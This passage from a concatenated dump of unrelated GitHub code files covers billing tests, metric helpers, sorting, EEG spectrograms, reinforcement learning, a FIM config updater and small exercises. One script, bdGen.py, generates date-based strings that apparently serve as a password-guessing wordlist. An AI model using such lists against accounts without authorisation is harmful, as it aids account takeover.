@freeze_time('2019-01-01')\n @mock.patch('waldur_rancher.views.executors')\n def test_usage_is_zero_if_node_is_not_active(self, mock_executors):\n self.mocked_get_backend().node_is_active.return_value = False\n self._create_usage(mock_executors)\n today = datetime.date.today()\n self.assertFalse(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n\n @freeze_time('2019-01-01')\n @mock.patch('waldur_rancher.views.executors')\n def test_usage_grows_if_active_nodes_count_grow(self, mock_executors):\n self._create_usage(mock_executors)\n today = datetime.date.today()\n self.assertTrue(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n usage=1,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n rancher_factories.NodeFactory(\n cluster=self.cluster,\n name='second node'\n )\n self.mocked_get_backend().get_cluster_nodes.return_value = [\n {'backend_id': 'node_backend_id', 'name': 'name_rancher_node'},\n {'backend_id': 'second_node_backend_id', 'name': 'second node'}\n ]\n tasks.update_node(self.cluster.id)\n self.assertTrue(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n usage=2,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n self.assertEqual(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).count(), 1)\n invoice = invoices_models.Invoice.objects.get(customer=self.cluster.customer)\n self.assertEqual(invoice.items.count(), 1)\n self.assertEqual(invoice.price, self.plan_component.price * 2)\n\n @freeze_time('2019-01-01')\n @mock.patch('waldur_rancher.views.executors')\n def test_usage_does_not_decrease_if_active_nodes_count_decrease(self, mock_executors):\n self._create_usage(mock_executors)\n today = datetime.date.today()\n self.assertTrue(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n usage=1,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n rancher_factories.NodeFactory(\n cluster=self.cluster,\n name='second node'\n )\n self.mocked_get_backend().get_cluster_nodes.return_value = [\n {'backend_id': 'node_backend_id', 'name': 'name_rancher_node'},\n {'backend_id': 'second_node_backend_id', 'name': 'second node'}\n ]\n tasks.update_node(self.cluster.id)\n self.assertTrue(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n usage=2,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n self.mocked_get_backend().node_is_active.return_value = False\n tasks.update_node(self.cluster.id)\n self.assertTrue(marketplace_models.ComponentUsage.objects.filter(\n resource=self.resource,\n component=self.offering_component,\n usage=2,\n date=today,\n billing_period=today,\n plan_period=self.plan_period,\n ).exists())\n\n invoice = invoices_models.Invoice.objects.get(customer=self.cluster.customer)\n self.assertEqual(invoice.items.count(), 1)\n self.assertEqual(invoice.price, self.plan_component.price * 2)\n","repo_name":"vasim-rana/waldur-mastermind","sub_path":"src/waldur_mastermind/rancher_invoices/tests/test_invoice.py","file_name":"test_invoice.py","file_ext":"py","file_size_in_byte":10133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"16866457116","text":"import math\r\nimport json\r\nimport warnings\r\nimport pandas as pd\r\nimport numpy as np\r\nimport sklearn.metrics as metrics\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n\r\ndef MAPE(y_true, y_pred):\r\n y = [x for x in y_true if x > 0]\r\n y_pred = [y_pred[i] for i in range(len(y_true)) if y_true[i] > 0]\r\n\r\n num = len(y_pred)\r\n sums = 0\r\n\r\n for i in range(num):\r\n tmp = abs(y[i] - y_pred[i]) / y[i]\r\n sums += tmp\r\n\r\n mape = sums * (100 / num)\r\n\r\n return mape\r\n\r\n\r\ndef indicate(y_pred, y_true):\r\n mape = MAPE(y_true, y_pred)\r\n vs = metrics.explained_variance_score(y_true, y_pred)\r\n mae = metrics.mean_absolute_error(y_true, y_pred)\r\n mse = metrics.mean_squared_error(y_true, y_pred)\r\n r2 = metrics.r2_score(y_true, y_pred)\r\n print('explained_variance_score:%f' % vs)\r\n print('mape:%f%%' % mape)\r\n print('mae:%f' % mae)\r\n print('mse:%f' % mse)\r\n print('rmse:%f' % math.sqrt(mse))\r\n print('r2:%f' % r2)\r\n return json.dumps({'mape':mape,'vs':vs,'mae':mae,'mse':mse,'r2':r2,'rmse':math.sqrt(mse)})\r\n\r\ndef getLossAndMAPE():\r\n file='model/lstm loss.csv'\r\n attr1='loss'\r\n attr2='mean_absolute_percentage_error'\r\n df = pd.read_csv(file, encoding='utf-8').fillna(0)\r\n loss_flow=df[attr1].values\r\n mape_flow=df[attr2].values\r\n loss_flow=np.array(loss_flow)\r\n mape_flow=np.array(mape_flow)\r\n return loss_flow,mape_flow\r\n\r\nif __name__ == '__main__':\r\n getLossAndMAPE()\r\n","repo_name":"meishax/-Intelligent-application-of-traffic-scene-based-on-computer-vision-TFF","sub_path":"indicator.py","file_name":"indicator.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"36994925494","text":"def main():\n word = input(\"Input: \")\n print(\"output:\", shorten(word))\n\n#function to remove vowels from a string case insetive\ndef shorten(word):\n vowels = ['a', 'e', 'i', 'o']\n output = \"\"\n for char in word:\n if char.lower() not in vowels:\n output += char\n return output\n\n'''\ndef shorten(word):\n vowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n for vowel in vowels:\n word = word.replace(vowel, '')\n return word\n'''\n\nif __name__ == '__main__':\n main()","repo_name":"grnisha/CS50-s-Introduction-to-Programming-with-Python","sub_path":"Lesson6/test_twttr/twttr.py","file_name":"twttr.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17338490316","text":"import argparse\nimport logging\nimport sys\nimport signal\nimport os\nimport pkg_resources\n\n#---------------------------------------------------------------------------#\n# Alter bindings to load PySide2 for houdini\n# bindings = ['PySide', 'PySide2']\nbindings = ['PySide2', 'PySide']\nos.environ.setdefault('QT_PREFERRED_BINDING', os.pathsep.join(bindings))\n#---------------------------------------------------------------------------#\n\nfrom QtExt import QtWidgets, QtCore\n\nimport ftrack_connect.config\n\n\n# Hooks use the ftrack event system. Set the FTRACK_EVENT_PLUGIN_PATH\n# to pick up the default hooks if it has not already been set.\ntry:\n os.environ.setdefault(\n 'FTRACK_EVENT_PLUGIN_PATH',\n pkg_resources.resource_filename(\n pkg_resources.Requirement.parse('ftrack-connect'),\n 'ftrack_connect_resource/hook'\n )\n )\nexcept pkg_resources.DistributionNotFound:\n # If part of a frozen package then distribution might not be found.\n pass\n\n\nimport ftrack_connect.ui.application\nimport ftrack_connect.ui.theme\n\n\ndef main(arguments=None):\n '''ftrack connect.'''\n if arguments is None:\n arguments = []\n\n parser = argparse.ArgumentParser()\n\n # Allow setting of logging level from arguments.\n loggingLevels = {}\n for level in (\n logging.NOTSET, logging.DEBUG, logging.INFO, logging.WARNING,\n logging.ERROR, logging.CRITICAL\n ):\n loggingLevels[logging.getLevelName(level).lower()] = level\n\n parser.add_argument(\n '-v', '--verbosity',\n help='Set the logging output verbosity.',\n choices=loggingLevels.keys(),\n default='warning'\n )\n\n parser.add_argument(\n '-t', '--theme',\n help='Set the theme to use.',\n choices=['light', 'dark'],\n default='light'\n )\n\n namespace = parser.parse_args(arguments)\n\n ftrack_connect.config.configure_logging(\n 'ftrack_connect', level=loggingLevels[namespace.verbosity]\n )\n\n # If under X11, make Xlib calls thread-safe.\n # http://stackoverflow.com/questions/31952711/threading-pyqt-crashes-with-unknown-request-in-queue-while-dequeuing\n if os.name == 'posix':\n QtCore.QCoreApplication.setAttribute(QtCore.Qt.AA_X11InitThreads)\n\n # Construct global application.\n application = QtWidgets.QApplication([])\n\n application.setOrganizationName('ftrack')\n application.setOrganizationDomain('ftrack.com')\n application.setQuitOnLastWindowClosed(False)\n\n # Enable ctrl+c to quit application when started from command line.\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n\n # Construct main connect window and apply theme.\n connectWindow = ftrack_connect.ui.application.Application(\n theme=namespace.theme\n )\n\n # Fix for Windows where font size is incorrect for some widgets. For some\n # reason, resetting the font here solves the sizing issue.\n font = application.font()\n application.setFont(font)\n\n return application.exec_()\n\n\nif __name__ == '__main__':\n raise SystemExit(\n main(sys.argv[1:])\n )\n","repo_name":"IngenuityEngine/ftrack-connect","sub_path":"source/ftrack_connect/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70873922705","text":"from ieeg.viz.utils import chan_grid\nfrom ieeg.io import get_data, raw_from_layout\nfrom ieeg.navigate import channel_outlier_marker, trial_ieeg, crop_empty_data\nfrom ieeg.calc import stats\nfrom mne.time_frequency import tfr_multitaper\nimport os.path as op\nimport numpy as np\n\n\n# %% Load the data\nTASK = \"SentenceRep\"\nsub_num = 24\nsubj = \"D\" + str(sub_num).zfill(4)\nHOME = op.expanduser(\"~\")\nLAB_root = op.join(HOME, \"Box\", \"CoganLab\")\nlayout = get_data(\"SentenceRep\", root=LAB_root)\nfilt = raw_from_layout(layout.derivatives['clean'], subject=subj,\n extension='.edf', desc='clean', preload=False)\n\n# %% Crop raw data to minimize processing time\nnew = crop_empty_data(filt)\n\n# Mark channel outliers as bad\nnew.info['bads'] = channel_outlier_marker(new, 4)\n\n# Exclude bad channels\ngood = new.copy().drop_channels(new.info['bads'])\ngood.load_data()\n\n# CAR\ngood.set_eeg_reference(ref_channels=\"average\", ch_type='ecog')\n\n# Remove intermediates from mem\ndel new\n\n# %% fix SentenceRep events\nfrom events import fix_annotations # noqa E402\nfix_annotations(good)\n\n# %% separate events\n\nresp = trial_ieeg(good, \"Word/Response\", (-1.5, 1.5), preload=True, outliers=8)\nbase = trial_ieeg(good, \"Start\", (-1, 0.5), preload=True, outliers=8)\n\n# %% create spectrograms\nfreqs = np.arange(1, 200., 3.)\n#\nresp_s = tfr_multitaper(resp, freqs, n_jobs=6, verbose=10, average=False,\n time_bandwidth=10, n_cycles=freqs/2, return_itc=False,\n decim=20)\nresp_s.crop(tmin=-1, tmax=1)\nbase_s = tfr_multitaper(base, freqs, n_jobs=6, verbose=10, average=False,\n time_bandwidth=10, n_cycles=freqs/2, return_itc=False,\n decim=20)\nbase_s.crop(tmin=-0.5, tmax=0)\n\n# %% run stats\nsig1 = resp_s.data\nsig2 = base_s.data\nsig2 = np.pad(sig2, ((0, 0), (0, 0), (0, 0), (\n 0, sig1.shape[-1] - sig2.shape[-1])), mode='reflect')\nmask = stats.time_perm_cluster(sig1, sig2, 0.05, n_perm=500,\n ignore_adjacency=1)\nsignif = resp_s.copy().average()\nsignif._data = mask\nsignif.save(op.join(layout.root, 'derivatives', 'stats', '4d',\n f\"{subj}_resp_power-tfr.h5\"))\n\n# %%\n# with open(\"spectra.npy\", \"rb\") as f:\n# spectra = np.load(f, allow_pickle=True)[0]\nchan_grid(signif, vmin=0, vmax=1)\n","repo_name":"coganlab/IEEG_Pipelines","sub_path":"task/SentenceRep/spectrograms.py","file_name":"spectrograms.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"9925756922","text":"# Jason Wei\n# July 24, 2018\n# jason.20@dartmouth.edu\n\n# Some visual analysis for analyzing historical bias\n\nfrom nlp_utils import *\n\ndef find_notable_lines(line_numbers):\n\n\tnotable_line_numbers = []\n\t#notable if 3/7 or 2/4\n\tfor line_number in line_numbers:\n\t\tfor i in range(line_number-2, line_number+3):\n\t\t\tif not i == line_number and i in line_numbers:\n\t\t\t\tnotable_line_numbers.append(line_number)\n\t\t\t\tbreak\n\treturn notable_line_numbers\n\ndef get_clusters(line_numbers):\n\n\tidx = 0\n\tsets = []\n\n\twhile idx < len(line_numbers)-2:\n\t\tset_ = [line_numbers[idx]]\n\t\twhile line_numbers[idx+1] <= line_numbers[idx] + 2:\n\t\t\tset_.append(line_numbers[idx+1])\n\t\t\tidx += 1\n\t\tsets.append(set_)\n\t\tidx += 1\n\treturn sets\n\ndef get_word_freq(word, line_numbers, all_lines):\n\toccurences = 0\n\tfor line_number in line_numbers:\n\t\tline = all_lines[line_number]\n\t\toccurences += line.count(word)\n\treturn occurences/len(line_numbers)\n\nif __name__ == \"__main__\":\n\n\tall_lines_path = \"processed_data/all_lines.txt\"\n\tgroup_to_data_path = 'outputs/group_to_data.p'\n\toutput_path = \"outputs/analysis_freq.jpg\"\n\n\tall_lines = open(all_lines_path, 'r').readlines()\n\tgroup_to_data = load_obj(group_to_data_path)\n\tgroup_to_line_numbers = {}\n\tgroup_to_notable_lines = {}\n\tgroups = list(group_to_data.keys())\n\n\t#plotting the notable lines\n\tcolors = ['b', 'g', 'r', 'c', 'm', 'y', 'k', '#ff1493', '#FF4500']\n\tfig, ax = plt.subplots()\n\n\t#getting the lines numbers\n\tfor i in range(len(groups)):\n\t\tgroup = groups[i]\n\t\tline_numbers = []\n\t\tfor prediction in group_to_data[group]:\n\t\t\tline = prediction[3]\n\t\t\tline_number = find_line_number(line, all_lines)\n\t\t\tif line_number is not None:\n\t\t\t\tline_numbers.append(line_number)\n\t\tline_numbers = sorted(line_numbers)\n\t\tgroup_to_line_numbers[group] = line_numbers\n\n\t#getting the notable lines and clusters\n\tfor group in groups:\n\t\tline_numbers = group_to_line_numbers[group]\n\t\tnotable_lines = find_notable_lines(line_numbers)\n\t\tprint(group, len(notable_lines), \"in clusters out of\", len(line_numbers))\n\t\tgroup_to_notable_lines[group] = notable_lines\n\n\t\twriter_path = \"outputs/clusters_\" + group + \".txt\"\n\t\twriter = open(writer_path, 'w')\n\t\tclusters = get_clusters(notable_lines)\n\t\tfor cluster in clusters:\n\t\t\tfor line_number in cluster:\n\t\t\t\twriter.write(str(line_number) + \"\\t\" + all_lines[line_number])\n\t\t\twriter.write(\"\\n\")\n\t\twriter.close()\n\n\t\tprint(\"freq of british\", get_word_freq('british', notable_lines, all_lines))\n\n\t#plotting it\n\tprint(\"plotting the notable lines...\")\n\tfor i in range(len(groups)):\n\n\t\tgroup = groups[i]\n\t\tcolor = colors[i]\n\t\tline_numbers = group_to_notable_lines[group]\n\n\t\tlabels = line_numbers\n\t\tx = line_numbers\n\t\ty = np.zeros_like(line_numbers) + float(i)\n\t\tsize = 0.01\n\t\tax.scatter(x, y, color=color, marker='o', s=size, label=group)\n\t\tax.set_title(\"Selection of Sentences from Israeli and Palestinian Narratives\", fontsize=6.5)\n\t\tprint(group, color)\n\t\tfor j, txt in enumerate(labels):\n\t\t\tax.annotate(txt, (x[j], y[j]), fontsize = 0.02)\n\t\t#print(group, line_numbers)\n\tplt.savefig(output_path, dpi=1500)\n\n\t\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jasonwei20/text_discovery_nn","sub_path":"code/z_find_notable_parts.py","file_name":"z_find_notable_parts.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18401839322","text":"import sys\n\n\nclass Solution(object):\n def increasingTriplet(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n # 使用m1, m2两个变量,若m1被更新则说明存在单个更小的值,若m2被更新,则说明在先前的m1的基础上存在一个递增元素,且不断将m2更新为最接近m1的值\n # 若能满足大于m2,则说明必存在一个递增的三元素序列\n\n if not nums:\n return False\n\n m1, m2 = sys.maxsize, sys.maxsize\n for num in nums:\n if num <= m1:\n m1 = num\n elif num <= m2:\n m2 = num\n else:\n return True\n\n return False\n\n\nif __name__ == '__main__':\n number = [3, 5, 4, 7, 8]\n Solution().increasingTriplet(number)","repo_name":"wbq9224/Leetcode_Python","sub_path":"Leetcode/334_IncreasingTriplet.py","file_name":"334_IncreasingTriplet.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28356278470","text":"import numpy as np\n\ndef iqr(col):\n per_25 = np.percentile(col, 25)\n per_75 = np.percentile(col, 75)\n iqr = per_75 - per_25\n low = per_25 - (1.5*iqr)\n up = per_75 + (1.5*iqr)\n out = [i for i in col if i < low or i > up]\n return low, up\n\n\ndef winsor(data, col):\n outlier_thresh = 3\n mean = data[col].mean()\n stdev = data[col].std()\n data[f\"{col}+_zscores\"] = (data[col] - mean) / stdev\n data = data[abs(data[f\"{col}+_zscores\"])<=3]\n return data.drop(f\"{col}+_zscores\", axis=1)\n\n","repo_name":"aniket1899/Hackathon-Wil-they-claim-it-","sub_path":"outlier.py","file_name":"outlier.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1610743577","text":"class Solution:\n def diagonalSum(self, mat: List[List[int]]) -> int:\n n = len(mat)\n \n diag1 = sum(mat[r][r] for r in range(n))\n diag2 = sum(mat[r][n - 1 - r] for r in range(n))\n \n if n % 2 == 1:\n return diag1 + diag2 - mat[n // 2][n // 2]\n else:\n return diag1 + diag2","repo_name":"cindyyj/leetcode_solutions","sub_path":"1572-matrix-diagonal-sum/1572-matrix-diagonal-sum.py","file_name":"1572-matrix-diagonal-sum.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28208960476","text":"import sys\n\ndNames = ('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday')\nmNames = ('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December')\n\n# names of days and months in lower and capital cases\n# including first-3-word version\ndCases = sum(((name.lower(), name[:3].lower(), name, name[:3]) for name in dNames), ())\nmCases = sum(((name.lower(), name[:3].lower(), name, name[:3]) for name in mNames), ())\n\ndays = ()\nmonths = ()\n\n# generate 1-31 including 01-09\nfor i in range(1, 32):\n if i < 10:\n days += (str(i),) + (\"0\" + str(i),)\n else:\n days += (str(i),)\n\n# remove \"#\" to add names of days in format\n#days += dCases\n\n\n# generate 1-12 including 01-09\nfor i in range(1, 13):\n if i < 10:\n months += (str(i),) + (\"0\" + str(i),)\n else:\n months += (str(i),)\nmonths += mCases\n\n# generate year range from command arguments\n# including last-2-digit version\n# python3 bdGen.py 2000 2000 for single year 2000\nyears = sum(((str(year)[-2:], str(year)) for year in range(int(sys.argv[1]), int(sys.argv[2]) + 1)), ())\n\n# full birthday\nfor day in days:\n for month in months:\n for year in years:\n print(day+month+year)\n\n# day and year\nfor day in dCases:\n for year in years:\n print(day+year)\n\n# month and year\nfor month in mCases:\n for year in years:\n print(month+year)\n\nfor day in dCases:\n print(day)\nfor month in mCases:\n print(month)\n","repo_name":"leet-h4x0r/scripts","sub_path":"bdGen.py","file_name":"bdGen.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17663090006","text":"import numpy as np\n\n\nclass ReinforcementLearning:\n def __init__(self, actions, rewards):\n # Actions should be the different states that you could find yourself in at any point in time.\n # self.Rewards is a matrix over which reward you get for going from a state to a different one.\n self.actions = actions\n self.rewards = rewards\n self.learning_rate = 0.9 # alpha\n self.discount_factor = 0.75 # gamma\n\n self.Q = np.array(np.zeros([len(actions), len(actions)]))\n\n def get_optimal_route(self, start_state, end_state):\n num_actions = len(self.rewards)\n rewards = np.copy(self.rewards)\n rewards[end_state, end_state] = 999\n\n # -- Q-learning --\n for _ in range(1000):\n playable_actions = []\n current_state = np.random.randint(0, num_actions)\n for j in range(num_actions):\n if rewards[current_state, j] > 0:\n playable_actions.append(j)\n next_state = np.random.choice(playable_actions)\n TD = rewards[current_state, next_state] + self.discount_factor * self.Q[next_state, np.argmax(self.Q[next_state, ])] - self.Q[current_state, next_state]\n\n # Bellman equation:\n self.Q[current_state, next_state] += self.learning_rate * TD\n \n route = [start_state]\n next_state = start_state\n while(next_state != end_state):\n next_state = np.argmax(self.Q[start_state, ])\n route.append(next_state)\n start_state = next_state\n return route","repo_name":"ohopstad/Reinforcement-Learning-robot-path","sub_path":"RL.py","file_name":"RL.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31712768937","text":"def insertion_sort(arr):\r\n \" select ith element and insert into the sorted sequence of 0 to i \"\r\n \r\n for i in range(1, len(arr)): # starting from i=1\r\n \r\n key = arr[i] \r\n \r\n # Move elements of arr[0..i-1], that are \r\n # greater than key, to one position ahead \r\n # of their current position \r\n j = i-1\r\n while j >=0 and key < arr[j] : \r\n arr[j+1] = arr[j] \r\n j -= 1\r\n arr[j+1] = key \r\n print(arr) \r\n\r\n \r\n\r\nn=int(input(\"Enter the number of values:\"))\r\n\r\nlt = [] # creation of empty list\r\n#getting n values and store in a list\r\ni=0\r\nwhile(i \")\n exit(1)\n update_fim_config(\"https://{0}/deepfence/v1.5\".format(sys.argv[1]), sys.argv[2], sys.argv[3])\n","repo_name":"deepfence/deepfence_runtime_api","sub_path":"scripts/fim_config/update_global_fim_config.py","file_name":"update_global_fim_config.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"48"} +{"seq_id":"2455661746","text":"\r\n\"\"\"This is a caracter creator program.\"\"\"\r\n\r\n# ToDo:\r\n# add file IO\r\n# Create some tests. Maybe to test input and type? //Work in progress\r\n# add a main funtion //work in progress\r\n# fix the exit functionality //possibly fixed(need main() to work.)\r\n\r\nimport csv\r\nimport sys\r\n\r\n\r\nprint(\"Welcome to my character creator!\")\r\nprint(\"Here you can create as many characters as you want.\")\r\n\r\nclass Character:\r\n \"\"\"defines a class called Character.\"\"\"\r\n\r\n def __init__(self, name, hair_color, age, height, race, sex):\r\n \"\"\"Construct character by attributes.\"\"\"\r\n self.name = name\r\n self.hair_color = hair_color\r\n self.age = age\r\n self.height = height\r\n self.race = race\r\n self.sex = sex\r\n\r\ndef main():\r\n menu()\r\n\r\ndef menu():\r\n print(\"*Character Creator v1\")\r\n print()\r\n\r\n choice = input(\"\"\"\r\n A: Please Register for Jon Espin's character creator\r\n B: Register to Char. Creator.\r\n Q: Logout of the char. creator\r\n\r\n Please enter your choice: \"\"\")\r\n\r\n if choice == \"A\" or choice ==\"A\":\r\n register()\r\n elif choice == \"B\" or choice ==\"B\":\r\n login()\r\n elif choice==\"Q\" or choice==\"Q\":\r\n sys.exit\r\n else:\r\n print(\"You must only select either A or B, Q will Quit. \")\r\n print(\"Please try again\")\r\n menu()\r\n\r\ndef register():\r\n print(\"enter name:-\")\r\n name=input()\r\n print(\"enter age:-\")\r\n age=input()\r\n \r\n\r\n with open('Test.txt', 'a') as Testfile:\r\n TestfileWriter=csv.writer(Testfile)\r\n TestfileWriter.writerow([name,age])\r\n print(\"Record has been writen to Test.txt file\")\r\n Testfile.close()\r\n menu()\r\n\r\n\r\n\r\n# open file for checking\r\nwith open('Test.txt', 'r') as Testfile:\r\n #login info\r\n name=input (\"enter name:-\")\r\n age=input (\"enter the age:-\")\r\n # height=input (\"enter the height:-\")\r\n # race=input (\"enter the race:-\")\r\n # sex=input (\"enter your sex:-\")\r\n#call File\r\n TestfileReader=csv.reader(Testfile)\r\n #for each row is read\r\n for row in TestfileReader:\r\n for field in row:\r\n \r\n#search for match\r\n\r\n if field==name and row[1]==age:\r\n print(\"Thank you for checking this file. \")\r\n \r\ndef Char_list_append(Temp_char):\r\n \"\"\"Add new character to list.\"\"\"\r\n char_line_up = []\r\n for x in Temp_char:\r\n # Hopefully adds a character with attributes to list.\r\n char_line_up.append(Character(x))\r\n return char_line_up\r\n\r\n\r\n#def Menu_options(self):\r\n # \"\"\"Create a loop for character creation.\"\"\"\r\n # menu_option = True\r\n #while menu_option is True:\r\n\r\n # char_name = input(\"What should we call your character? \")\r\n # char_hair = input(\"What color is your character's hair? \")\r\n #char_age = input(\"How old is your character? \")\r\n # char_height = input(\"How tall? \")\r\n # char_race = input(\"What race is your character? (Nord, Orc, Elf, etc.) \")\r\n # char_sex = input(\"What sex is your character? \")\r\n\r\n # # Stores user input into char_1 with Character class applied.\r\n # Temp_char = Character(char_name, char_hair, char_age, char_height, char_race, char_sex)\r\n\r\n # exit_yn = input(\"Would you like to add another Character?\")\r\n # if exit_yn == 'y' or 'Y':\r\n # menu_option = True\r\n # if exit_yn == 'n' or 'N':\r\n # menu_option = False\r\n # elif exit_yn != 'y' or 'Y' or 'n' or 'N':\r\n # exit_yn = input(\"Im sorry, I didn't understand. Please type 'y' or 'n'. \")\r\n # return Temp_char\r\n\r\n#def displayText():\r\n# print(\"You did it\")\r\n\r\n#def main():\r\n #char_line_up = []\r\n #Menu_options = Menu_options(self)\r\n #Char_list_append = Char_list_append(Temp_char)\r\n #Character_sheet = Character_sheet()\r\n menu()\r\n displayText()\r\n\r\ndef displayText():\r\n print(\"You did it. You created a character. Good job. \")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n# this is a test line\r\nprint(\"\\nGoodbye! Thank you for using my character creator!\")\r\n","repo_name":"stephe00/162py","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":4155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7079147669","text":"\"\"\"Unit tests for nodeconv.py.\"\"\"\n\n\nimport unittest\n\nfrom incoq.compiler.incast.nodes import *\nfrom incoq.compiler.incast.structconv import parse_structast\nfrom incoq.compiler.incast.nodeconv import *\nfrom incoq.compiler.incast.nodeconv import value_to_ast\n\n\nclass NodeconvCase(unittest.TestCase):\n \n def p(self, source, mode=None):\n return parse_structast(source, mode=mode)\n \n def pc(self, source):\n return self.p(source, mode='code')\n \n def ps(self, source):\n return self.p(source, mode='stmt')\n \n def pe(self, source):\n return self.p(source, mode='expr')\n \n def test_valuetoast(self):\n val = {1: 'a', 2: [{3: False}, ({4}, 5, None)]}\n tree = value_to_ast(val)\n exp_tree = self.pe('{1: \"a\", 2: [{3: False}, ({4}, 5, None)]}')\n self.assertEqual(tree, exp_tree)\n \n def test_options_rewriter(self):\n tree = self.p('''\n incoq.runtime.OPTIONS(a='b')\n incoq.runtime.QUERYOPTIONS('foo', a='b')\n ''')\n tree = OptionsRewriter.run(tree)\n exp_tree = self.p('''\n OPTIONS(a='b')\n QUERYOPTIONS('foo', a='b')\n ''')\n self.assertEqual(tree, exp_tree)\n \n def test_import_SetUpdate(self):\n tree = self.ps('S.add(x)')\n tree = IncLangImporter.run(tree)\n exp_tree = SetUpdate(Name('S', Load()), 'add', Name('x', Load()))\n self.assertEqual(tree, exp_tree)\n \n def test_import_OPTIONS(self):\n tree = self.ps('OPTIONS(a = \"b\")')\n tree = IncLangImporter.run(tree)\n exp_tree = NOptions({'a': 'b'})\n self.assertEqual(tree, exp_tree)\n \n def test_import_MAINT(self):\n tree = self.pc('''\n with MAINT(Q, 'after', 'S.add(x)'):\n S.add(x)\n pass\n ''')\n tree = IncLangImporter.run(tree)\n update_node = SetUpdate(Name('S', Load()), 'add', Name('x', Load()))\n exp_tree = (Maintenance('Q', 'S.add(x)',\n (), (update_node,), (Pass(),)),)\n self.assertEqual(tree, exp_tree)\n \n def test_import_COMP(self):\n tree = self.pe('COMP({x for x in S}, [S], {\"a\": \"b\"})')\n tree = IncLangImporter.run(tree)\n exp_tree = Comp(\n Name('x', Load()),\n (Enumerator(Name('x', Store()), Name('S', Load())),),\n ('S',), {'a': 'b'})\n self.assertEqual(tree, exp_tree)\n \n # Make sure omitting params/options works.\n \n tree1 = self.pe('COMP({x for x in S})')\n tree1 = IncLangImporter.run(tree1)\n tree2 = self.pe('COMP({x for x in S}, None, None)')\n tree2 = IncLangImporter.run(tree2)\n exp_tree = Comp(\n Name('x', Load()),\n (Enumerator(Name('x', Store()), Name('S', Load())),),\n None, None)\n self.assertEqual(tree1, exp_tree)\n self.assertEqual(tree2, exp_tree)\n \n def test_export(self):\n orig_tree = self.p('''\n OPTIONS(u = 'v')\n S.add(x)\n setmatch(R, 'bu', x)\n COMP({x for x in S if x in T}, [S], {'a': 'b'})\n sum(R)\n ''')\n tree = IncLangImporter.run(orig_tree)\n tree = IncLangExporter.run(tree)\n exp_tree = self.p('''\n OPTIONS(...)\n S.add(x)\n setmatch(R, 'bu', x)\n COMP({x for x in S if x in T}, [S], {'a': 'b'})\n sum(R, None)\n ''')\n self.assertEqual(tree, exp_tree)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"IncOQ/incoq","sub_path":"incoq/tests/invinc/incast/test_nodeconv.py","file_name":"test_nodeconv.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"5299223230","text":"# represents position for a tile on puzzle board\nclass Position:\n def __init__(self, horizontal, vertical):\n self.horizontal = horizontal\n self.vertical = vertical\n\n# find position of a tile on puzzle board\ndef find_position(state, value):\n for row in range(3):\n for col in range(3):\n # if value matches, pass to Position class as horizontal = col, vertical = row\n if state[row][col] == value:\n return Position(col, row) \n\n# distance between two tiles along x and y axis on board\ndef calculate_distance(state, value):\n current_pos = find_position(state, value) # position of value in current state\n goal_pos = find_position(goal_state, value) # position of value in goal_state state\n # find and return difference for both axes - horizontally and vertically\n diff = 